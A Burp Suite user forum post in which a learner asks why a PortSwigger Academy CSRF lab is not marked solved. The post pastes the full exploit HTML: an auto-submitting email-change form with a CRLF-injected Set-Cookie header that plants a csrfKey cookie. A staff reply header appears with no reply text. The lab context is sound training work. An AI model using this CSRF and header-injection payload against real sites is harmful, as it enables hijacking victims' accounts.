Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab is showing as unsolved even after solving it properly.

Utsav | Last updated: Jun 12, 2024 03:07AM UTC

Was solving the lab "CSRF where token is tied to non-session cookie" Tried everything properly even the exploit is working fine in the when tested in the browser, But when trying to deliver the exploit to the victim via exploit server the lab is not getting solved. Payload <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://0a61002703e3f4b6849d13ae00d20031.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="attacker005&#64;gmail&#46;com" /> <input type="hidden" name="csrf" value="b45RdMdSJyoTwg9f4Cs89inFi4D4Np0I" /> <input type="submit" value="Submit request" /> </form> <img src="https://0a61002703e3f4b6849d13ae00d20031.web-security-academy.net/?search=hat%0d%0aSet-Cookie:%20csrfKey=D4kaFYeOHMAXl4FLogyhwMmCpwq3VyJg" onerror="document.forms[0].submit()"> </body> </html>

Ben, PortSwigger Agent | Last updated: Jun 12, 2024 10:30AM UTC